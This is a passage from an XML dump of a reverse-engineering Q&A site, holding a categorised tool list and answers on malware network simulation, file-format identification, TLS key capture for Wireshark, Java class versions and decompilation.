  <row Id="321" PostTypeId="5" CreationDate="2013-03-27T13:38:54.297" Score="0" Body="&lt;p&gt;Tools are categorized by their &lt;em&gt;main use&lt;/em&gt;, anything else goes to the bottom.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reverse &lt;em&gt;Code&lt;/em&gt; Engineering (RCE)&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Debuggers&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Cross-platform/Linux&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Dbx_%28debugger%29&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dbx&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gnu.org/software/gdb/&quot; rel=&quot;nofollow&quot;&gt;GDB&lt;/a&gt; (GNU debugger, open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://visi.kenshoto.com/viki/MainPage&quot; rel=&quot;nofollow&quot;&gt;VDG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Windows&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bugchecker.com/&quot; rel=&quot;nofollow&quot;&gt;BugChecker&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://debugger.immunityinc.com/&quot; rel=&quot;nofollow&quot;&gt;ImmunityDebugger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow&quot;&gt;OllyDbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot; rel=&quot;nofollow&quot;&gt;pydbg&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sysersoft.com/&quot; rel=&quot;nofollow&quot;&gt;Syser Kernel Debugger&lt;/a&gt; (practically dead)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.duxcore.com/index.php/prod/visual-duxdebugger/overview&quot; rel=&quot;nofollow&quot;&gt;Visual DuxDebugger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/winappdbg/&quot; rel=&quot;nofollow&quot;&gt;WinAppDbg debugger&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx&quot; rel=&quot;nofollow&quot;&gt;WinDbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Disassemblers/Decompilers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://beye.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;biew&lt;/code&gt; aka &lt;code&gt;beye&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/boomerang/&quot; rel=&quot;nofollow&quot;&gt;boomerang decompiler&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hiew.ru/&quot; rel=&quot;nofollow&quot;&gt;HIEW&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;nofollow&quot;&gt;Hopper&lt;/a&gt; - also see &lt;a href=&quot;/questions/tagged/hopper&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'hopper'&quot; rel=&quot;tag&quot;&gt;hopper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt;, also the Hex-Rays Decompiler plugin (which requires IDA Pro) - also see &lt;a href=&quot;/questions/tagged/idapro&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'idapro'&quot; rel=&quot;tag&quot;&gt;idapro&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Limited freeware version with restrictions &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;available here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugins:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.idabook.com/collabreate/&quot; rel=&quot;nofollow&quot;&gt;collabREate&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crowdre.crowdstrike.com/&quot; rel=&quot;nofollow&quot;&gt;CrowdRE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phreedom.org/software/detpdb/&quot; rel=&quot;nofollow&quot;&gt;detpdb&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/contests/&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays plugin contest winners&lt;/a&gt; (follow the links in the navigation pane, open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/wjp/idados&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;idados&lt;/code&gt;&lt;/a&gt; (open source), requires &lt;a href=&quot;http://www.dosbox.com/&quot; rel=&quot;nofollow&quot;&gt;DOSBox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://old.idapalace.net/&quot; rel=&quot;nofollow&quot;&gt;IDAPalace&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/&quot; rel=&quot;nofollow&quot;&gt;IDA Toolbag&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://newgre.net/idaplugins&quot; rel=&quot;nofollow&quot;&gt;newgre.net plugins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.heaventools.com/PE_Explorer_disassembler.htm&quot; rel=&quot;nofollow&quot;&gt;PE.Explorer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Libraries, frameworks and perhaps actual disassembler all in one&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.beaengine.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BeaEngine&lt;/code&gt;&lt;/a&gt; (open source, LGPL license)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/distorm/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;distorm64&lt;/code&gt;&lt;/a&gt; (open source, BSD license) and &lt;a href=&quot;http://code.google.com/p/distorm/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;distorm3&lt;/code&gt;&lt;/a&gt; (open source, GPLv3 and &lt;a href=&quot;http://ragestorm.net/distorm/&quot; rel=&quot;nofollow&quot;&gt;commercial&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bastard.sourceforge.net/libdisasm.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;libdisasm&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/vmt/udis86&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;libudis86&lt;/code&gt; and &lt;code&gt;udcli&lt;/code&gt;&lt;/a&gt; (open source, alternative site)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/smiasm/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;miasm&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://radare.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;radare2&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Hex editors&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/beye/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;beye&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://frhed.sourceforge.net/en/&quot; rel=&quot;nofollow&quot;&gt;frhed&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;Hex Editor Neo (&lt;a href=&quot;http://www.hhdsoftware.com/free-hex-editor&quot; rel=&quot;nofollow&quot;&gt;freeware&lt;/a&gt; and &lt;a href=&quot;http://www.hhdsoftware.com/hex-editor&quot; rel=&quot;nofollow&quot;&gt;commercial versions&lt;/a&gt; available)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/hexplorer/&quot; rel=&quot;nofollow&quot;&gt;Hexplorer&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hexworkshop.com/&quot; rel=&quot;nofollow&quot;&gt;Hex Workshop&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hte.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;HT Editor&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/wxhexeditor/&quot; rel=&quot;nofollow&quot;&gt;wxHexEditor&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;... anything not fitting the other categories&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow&quot;&gt;CFF Explorer&lt;/a&gt; (freeware)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow&quot;&gt;DynamoRIO&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linux.die.net/man/1/file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;file(1)&lt;/code&gt;&lt;/a&gt; (open source), comes with most unixoid operating systems or can be built on them, based on &lt;a href=&quot;http://linux.die.net/man/3/libmagic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;libmagic(3)&lt;/code&gt;&lt;/a&gt;, Windows version &lt;a href=&quot;http://gnuwin32.sourceforge.net/packages/file.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;firmware-mod-kit&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://code.google.com/p/binwalk/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; (also included in the former, both open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/Home&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;hachoir&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linux.die.net/man/1/ldd&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ldd(1)&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://newgre.net/ncodehook&quot; rel=&quot;nofollow&quot;&gt;N-CodeHook&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://newgre.net/ncodehook&quot; rel=&quot;nofollow&quot;&gt;N-InjectLib&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linux.die.net/man/1/nm&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;nm(1)&lt;/code&gt;&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/OpenRCE/paimei&quot; rel=&quot;nofollow&quot;&gt;PaiMei&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.heaventools.com/overview.htm&quot; rel=&quot;nofollow&quot;&gt;PE Explorer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?view.398&quot; rel=&quot;nofollow&quot;&gt;PEiD&lt;/a&gt; (and &lt;a href=&quot;http://code.google.com/p/pefile/wiki/PEiDSignatures&quot; rel=&quot;nofollow&quot;&gt;some signatures&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow&quot;&gt;PIN framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ssdeep.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ssdeep&lt;/code&gt;&lt;/a&gt; (fuzzy hashes, open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linux.die.net/man/1/strings&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strings(1)&lt;/code&gt;&lt;/a&gt;  (open source), comes with most unixoid operating systems or can be built on them, alternative Windows version &lt;a href=&quot;http://live.sysinternals.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (&lt;em&gt;not&lt;/em&gt; open source!)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot; rel=&quot;nofollow&quot;&gt;TrID file identifier&lt;/a&gt; (free for personal / non commercial use)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/yara-project/&quot; rel=&quot;nofollow&quot;&gt;YARA&lt;/a&gt; (open source)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="1562" LastEditDate="2013-06-29T14:26:05.163" LastActivityDate="2013-06-29T14:26:05.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostTypeId="4" CreationDate="2013-03-27T13:38:54.297" Score="0" Body="Use this tag for questions regarding recommendations of frameworks, libraries, programs or hardware tools used during the process of reverse engineering. Please avoid using this tag for tool-specific questions that do not have their own tag." OwnerUserId="189" LastEditorUserId="2147" LastEditDate="2018-10-02T19:58:51.713" LastActivityDate="2018-10-02T19:58:51.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="323" PostTypeId="2" ParentId="310" CreationDate="2013-03-27T14:12:32.567" Score="5" Body="&lt;p&gt;You may be able to use the open-source &lt;a href=&quot;http://sourceforge.net/projects/fakenet/&quot;&gt;FakeNet&lt;/a&gt; to simulate a real network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, FakeNet is designed to be run on an &lt;strong&gt;XP SP3 system&lt;/strong&gt;, so using it would require you to ensure traffic is routed from your Ubuntu system/VM to an XP sp3 system/VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are likely some Linux based FakeNet alternatives out there, but I've used FakeNet before when analyzing Windows malware and it works very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Supports DNS, HTTP, and SSL&lt;/li&gt;&#xA;&lt;li&gt;HTTP server always serves a file and tries to serve a meaningful file; if the malware request a .jpg then a properly formatted .jpg is served, etc.  The files being served are user configurable.&lt;/li&gt;&#xA;&lt;li&gt;Ability to redirect all traffic to the localhost, including traffic destined for a hard-coded IP address.&lt;/li&gt;&#xA;&lt;li&gt;Python extensions, including a sample extension that implements SMTP and SMTP over SSL.&lt;/li&gt;&#xA;&lt;li&gt;Built in ability to create a capture file (.pcap) for packets on localhost.&lt;/li&gt;&#xA;&lt;li&gt;Dummy listener that will listen for traffic on any port, auto-detect and decrypt SSL traffic and display the content to the console.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-03-27T14:12:32.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostTypeId="1" AcceptedAnswerId="325" CreationDate="2013-03-27T14:20:54.423" Score="13" ViewCount="13680" Body="&lt;p&gt;I have an audio file in an unknown format. How should I try to determine its format ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to do this by manual observation and not using any automated tool ?&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2018-01-04T21:58:26.440" Title="How should I determine the format of this audio file?" Tags="|file-format|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="325" PostTypeId="2" ParentId="324" CreationDate="2013-03-27T14:49:03.600" Score="12" Body="&lt;p&gt;As for the automated approach, the &lt;a href=&quot;http://en.wikipedia.org/wiki/File_(command)&quot;&gt;file command&lt;/a&gt; is the classic recommendation. It's a tool which tries to guess the file type from the data contained in the file. It implements many of the well known file format signatures via &lt;a href=&quot;http://sourceforge.net/projects/libmagic/&quot;&gt;libmagic&lt;/a&gt;. If you have a composite file you could try &lt;a href=&quot;https://code.google.com/p/binwalk/&quot;&gt;binwalk&lt;/a&gt; which will try to find files as subsets of a larger file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go the manual route, you need to match some subset of the file to a known signature or pattern. This applies especially when it comes to file formats which are likely to be compressed as data patterns will be less regular. Therefore you usually need to find a pattern, usually called a signature or fingerprint, in the file structure. Most file formats have magic numbers either in the header or the footer of the file in order to make it easy for programs to check what type of file they are about to load. There are a couple of good resources for well known file signatures:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot;&gt;Garry Kesslers' file signature list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_file_signatures&quot;&gt;Wikipedia's List of file signatures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://filesignatures.net&quot;&gt;The file signature database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-27T16:42:07.637" LastActivityDate="2013-03-27T16:42:07.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1325" PostTypeId="2" ParentId="324" CreationDate="2013-03-27T15:38:25.120" Score="5" Body="&lt;p&gt;Peter's suggestions are, as usual, excellent. I'd like to add a few points.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you have access to some program using that format, you could always reverse engineer that in order to find out details about the format or even just the signatures it's looking for (assuming for example that it contains sound samples but is a proprietary and not well-known format)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this might also give clues about the libraries used to access the format which in turn gives clues about the format (think IDA FLIRT/FLAIR)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;otherwise a media player such as &lt;a href=&quot;http://www.videolan.org&quot;&gt;VLC&lt;/a&gt; may also be a good method to find out details (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt;). That is, you simply attempt to open it and then see what media information the player can give you. Good players won't force you to stick a particular file extension on the file before opening it. But be wary of potential exploits (i.e. do it in a sandbox environment)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-03-27T17:04:13.013" LastActivityDate="2013-03-27T17:04:13.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1326" PostTypeId="2" ParentId="211" CreationDate="2013-03-27T15:52:26.247" Score="12" Body="&lt;p&gt;One other thing that you could do, which is perhaps overkill but is useful in other scenarios, is to intercept the creation of the 48-byte TLS master secret. For many Windows applications (including IE), this happens in &lt;code&gt;lsass.exe&lt;/code&gt; in the following function (taken from Win7 SP1 32-bit):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Caller:  ncrypt!_Tls1ComputeMasterKey@32+0x57 &#xA;EIP:     ncrypt!_PRF@40+0x11a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can then decrypt the captured packets after the fact in Wireshark by setting &lt;code&gt;(Pre)-Master-Secret log filename&lt;/code&gt; in the SSL preferences to a file file that looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RSA Session-ID:87492B3586DE289FAE1598B0A19CC7BCCB69371993F2C0DF32438034E06FE3FB&#xA;Master-Key:F58C0EFA2BF87602646B318400DFEB0C8CCDE59408C9F13C6D923F6208743BD34EA8BA17BCE02B9BD8DFED5A58036068&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The session ID here can be found in the TLS headers (unencrypted) for the stream you're interested in. (Don't be fooled by the RSA -- this works for all TLS connections regardless of the ciphersuite in use.)&lt;/p&gt;&#xA;&lt;p&gt;The advantage of this method is that, since you're not doing a man in the middle, the client application doesn't have to trust your CA, which is especially handy if you're trying to reverse some malware that actually does crypto right.&lt;/p&gt;&#xA;&lt;p&gt;The downside is that you need to be able to debug &lt;code&gt;lsass.exe&lt;/code&gt;, which can be tricky; there's some information on how to do that &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/alejacma/how-to-debug-lsass-exe-process&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="13506" LastEditDate="2021-03-16T21:23:41.987" LastActivityDate="2021-03-16T21:23:41.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1327" PostTypeId="1" AcceptedAnswerId="1368" CreationDate="2013-03-27T16:15:00.803" Score="7" ViewCount="998" Body="&lt;p&gt;Can external libraries be used in Hopper scripts? I'd like to add PDB support to &lt;a href=&quot;http://www.hopperapp.com/&quot;&gt;Hopper&lt;/a&gt; using &lt;a href=&quot;https://code.google.com/p/pdbparse/&quot;&gt;pdbparse&lt;/a&gt;, but I haven't been able to get it to use external libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I suppose one could just dump the debug symbol offsets to a text file and read that, but it seems like a clunkier solution (since you wouldn't be able to, e.g., auto-download symbols from the MS Symbol Server).&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="189" LastEditDate="2013-03-28T04:11:56.767" LastActivityDate="2013-03-29T07:42:47.733" Title="Importing external libraries in Hopper scripts?" Tags="|disassembly|python|hopper|pdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostTypeId="1" AcceptedAnswerId="1329" CreationDate="2013-03-27T16:24:44.427" Score="8" ViewCount="29822" Body="&lt;p&gt;I have a java class file. How do I find out the version of the compiler used to compile this file? I'm on Ubuntu Server 12.04.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2017-07-27T08:55:47.100" Title="Find out a Java class file's compiler version" Tags="|compilers|java|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostTypeId="2" ParentId="1328" CreationDate="2013-03-27T16:24:44.427" Score="22" Body="&lt;p&gt;The JDK includes a &lt;code&gt;javap&lt;/code&gt; command. It gives a lot information, but you can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javap -verbose yourClass | grep version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  minor version: 0&#xA;  major version: 51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The major version tells you which version the compiler had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;J2SE 8 = 52,&#xA;J2SE 7 = 51,&#xA;J2SE 6.0 = 50,&#xA;J2SE 5.0 = 49,&#xA;JDK 1.4 = 48,&#xA;JDK 1.3 = 47,&#xA;JDK 1.2 = 46,&#xA;JDK 1.1 = 45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="14088" LastEditDate="2015-11-10T10:22:51.660" LastActivityDate="2015-11-10T10:22:51.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1330" PostTypeId="2" ParentId="1328" CreationDate="2013-03-27T17:11:02.000" Score="15" Body="&lt;p&gt;Again the &lt;a href=&quot;http://linux.die.net/man/1/file&quot;&gt;&lt;code&gt;file(1)&lt;/code&gt;&lt;/a&gt; utility and &lt;a href=&quot;http://linux.die.net/man/3/libmagic&quot;&gt;&lt;code&gt;libmagic(3)&lt;/code&gt;&lt;/a&gt;, on which it is based, can be your friend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file Gwan.class&#xA;Gwan.class: compiled Java class data, version 50.0 (Java 1.6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-03-27T17:11:02.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostTypeId="1" CreationDate="2013-03-27T17:17:58.523" Score="18" ViewCount="3463" Body="&lt;p&gt;Are there any tools available to help automate the process of reverse engineering file formats? In particular, I'm interested in tools that use dynamic analysis of an application to parse the format, and less interested in visualization or hex editor-type tools (e.g. 010 Editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some academic literature on the topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://research.microsoft.com/pubs/101326/tupni-ccs08.pdf&quot;&gt;Tupni: Automatic Reverse Engineering of Input Formats &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://research.microsoft.com/pubs/153180/reformat-esorics09.pdf&quot;&gt;ReFormat: Automatic Reverse Engineering of Encrypted Messages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.utdallas.edu/~zhiqiang.lin/file/FSE08.pdf&quot;&gt;Deriving Input Syntactic Structure From Execution&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has any of this made it into practice?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="189" LastEditDate="2013-03-28T04:48:28.213" LastActivityDate="2013-03-28T04:48:28.213" Title="Automated tools for file format reverse engineering?" Tags="|tools|dynamic-analysis|file-format|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostTypeId="5" CreationDate="2013-03-27T17:45:47.420" Score="0" Body="&lt;p&gt;Reverse engineering of web applications, whether client-side or server-side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client part of web applications is often written in &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'javascript'&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-05-02T12:28:30.110" LastActivityDate="2013-05-02T12:28:30.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1333" PostTypeId="4" CreationDate="2013-03-27T17:45:47.420" Score="0" Body="Interoperating with or deobfuscating web applications, often written in JavaScript client-side and various languages server-side" OwnerUserId="117" LastEditorUserId="189" LastEditDate="2013-05-02T12:39:02.093" LastActivityDate="2013-05-02T12:39:02.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1334" PostTypeId="2" ParentId="311" CreationDate="2013-03-27T17:48:56.543" Score="11" Body="&lt;p&gt;Decompilation is difficult because decompilers must recover source-code abstractions that are missing from the binary/bytecode target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several types of abstractions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Functions: The identification of code corresponding to a high function, with its entrance, arguments, return value(s) ,and exit.&lt;/li&gt;&#xA;&lt;li&gt;Variables: The local variables in each function, and any global or static variables.&lt;/li&gt;&#xA;&lt;li&gt;Types: The type of each variable, and each function's arguments and return value.&lt;/li&gt;&#xA;&lt;li&gt;High-level control flow: The control flow schema of a program, e.g., &lt;code&gt;while (...) { if (...) {...} else {...} }&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Decompiling native code is difficult because none of these abstractions are represented explicitly in the native code. Thus, to produce nice decompiled code (i.e., not using 